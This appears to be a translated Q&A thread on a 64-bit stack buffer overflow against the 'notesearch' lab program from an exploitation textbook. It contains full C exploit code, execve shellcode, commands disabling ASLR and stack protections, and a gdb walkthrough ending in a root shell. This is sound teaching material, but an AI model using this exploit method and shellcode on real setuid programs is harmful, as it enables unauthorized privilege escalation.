Question

我基本上试图运行缓冲区溢出攻击。根据我的理解，我们需要3个部分：

a nope sled
要执行的Shell代码
寄回地址

我遇到的问题是在64位linux中，返回地址类似于0x00007fffffffdcf2。在Strcpy中，如果看到空字符，那么它将停止复制。所以基本上我最终会得到这样的结论：

0x7fffffffe233: 0x9090909090909090  0x9090909090909090
0x7fffffffe243: 0x9090909090909090  0x9090909090909090
0x7fffffffe253: 0x9090909090909090  0x9090909090909090
0x7fffffffe263: 0x9090909090909090  0x9090909090909090
0x7fffffffe273: 0xb099c931db31c031  0x6851580b6a80cda4
0x7fffffffe283: 0x69622f6868732f2f  0x8953e28951e3896e
0x7fffffffe293: 0x909090909080cde1  0x43007fffffffdcf2    <<< This line

如果查看最后8个字节而不是

0x00007fffffffdcf2

我们有

0x43007fffffffdcf2

我假设43在开始时只是垃圾数据。所以基本上有什么方法可以克服这个问题，或者缓冲区流量攻击不能在64位系统上用于strcpy函数吗？

这是我的代码（基于书中的剥削艺术）：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80\x90\x90\x90\x90\x90";

int main(int argc, char *argv[]) {
    uint64_t i;
    uint64_t  ret;
    uint64_t offset=270;
    char *command, *buffer, *test;

    command = (char *) malloc(200);
    test = (char *)malloc(200);
    bzero(command, 200); // zero out the new memory

    strcpy(command, "./notesearch   \'"); // start command buffer
    buffer = command + strlen(command); // set buffer at the end

    if(argc > 1) // set offset
            offset = atoi(argv[1]);

    ret =  ((uint64_t)(&i)- offset); // set return address

    for(i=0; i < 200; i+=8) // fill buffer with return address
            memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8);
    memset(buffer, 0x90, 64); // build NOP sled
    memcpy(buffer+64, shellcode, sizeof(shellcode)-1); 

        strcat(command, "\'");


    system(command); // run exploit

}

非常感谢任何帮助。

Answer 1

我能够修改您的示例代码，使其与本书中的notesearch程序一起使用64位。

现代操作系统和构建工具中的许多保护措施必须关闭才能实现，但这显然是出于教育目的，所以现在这是合理的。

首先，使用以下命令关闭系统上的ASLR：

echo 0 > /proc/sys/kernel/randomize_va_space

这必须以 root 完成，并且不能与sudo一起使用，因为sudo仅适用于echo命令，而不是重定向。首先只需sudo -i，然后运行它。

接下来，必须编译notesearch程序，禁用两个重要的安全保护。默认情况下，您的程序将使用堆栈canary来构建，以检测缓冲区溢出以及非可执行堆栈，因为通常没有合理的理由从堆栈运行代码。

gcc -g -z execstack -fno-stack-protector -o notesearch notesearch.c

现在，漏洞利用代码：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>

char shellcode[]=
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
"\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main(int argc, char *argv[]) {
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200); // zero out the new memory

    strcpy(command, "./notesearch       \'"); // start command buffer
    buffer = command + strlen(command); // set buffer at the end

    memset(buffer, 'A', 0x78); // Fill buffer up to return address
    *(unsigned long long*)(buffer+0x78) = 0x7fffffffe1c0;
    memcpy(buffer, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // run exploit
}

此问题可以缩小为简单的返回地址覆盖，因此不需要NOP底座。此外，原始帖子中的shellcode仅适用于32位。我使用的64位shellcode来自http://shell-storm.org/shellcode/files/shellcode-806.php。

最大的问题：0x78和0x7fffffffe1c0来自哪里？我从一个大于0x78的数字开始，因为我不知道该使用什么。我猜测它只有175，因为它比目标缓冲区大。所以第一次迭代有这些线：

memset(buffer, 'A', 175); // Overflow buffer
//*(unsigned long long*)(buffer+???) = ???;

现在尝试一下。请注意，在测试时，我使用非setuid版本的notesearch来促进成功的核心转储。

ulimit -c unlimited
gcc myexp.c
./a.out

notesearch程序崩溃并创建了一个核心文件：

deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault (core dumped)
deb82:~/notesearch$

正在运行gdb ./notesearch core显示：

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004008e7 in main (argc=2, argv=0x7fffffffe2c8) at notesearch.c:35
35  }
(gdb)

好。它崩溃了。为什么呢？

(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq   
(gdb) x/1gx $rsp
0x7fffffffe1e8: 0x4141414141414141
(gdb)

它正试图返回我们的受控地址（所有A）。好。我们受控字符串（searchstring）的偏移量指向返回地址？

(gdb) p/x (unsigned long long)$rsp - (unsigned long long)searchstring
$1 = 0x78
(gdb)

现在我们再次尝试这些变化：

memset(buffer, 'A', 0x78); // Fill buffer up to return address
*(unsigned long long*)(buffer+0x78) = 0x4242424242424242;

同样，我们获得了核心转储。分析它显示：

Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000004008e7 in main (argc=2, argv=0x7fffffffe318) at notesearch.c:35
35  }
(gdb) x/1i $rip
=> 0x4008e7 <main+158>: retq   
(gdb) x/1gx $rsp
0x7fffffffe238: 0x4242424242424242
(gdb)

好，我们更加手术控制了回复地址。现在，我们想把它放在那里而不是一堆B？为我们的shellcode搜索合理的堆栈范围（0xbb48c031是对应于shellcode缓冲区中前4个字节的DWORD）。只需屏蔽低3位数字，然后从页面开头开始。

(gdb) find /w 0x7fffffffe000,$rsp,0xbb48c031
0x7fffffffe1c0
1 pattern found.
(gdb)

所以我们的shellcode存在于0x7fffffffe1c0的堆栈中。这是我们想要的回邮地址。使用此信息更新代码，并再次notesearch setuid root，我们得到：

deb82:~/notesearch$ whoami
user
deb82:~/notesearch$ ./a.out
[DEBUG] found a 15 byte note for user id 1000
-------[ end of note data ]-------
# whoami
root
#

我提供的代码可能与您的设置一样，但很可能，您可能需要按照类似的路径来获取正确的偏移量。

缓冲区溢出64位，带strcpy

1 个答案: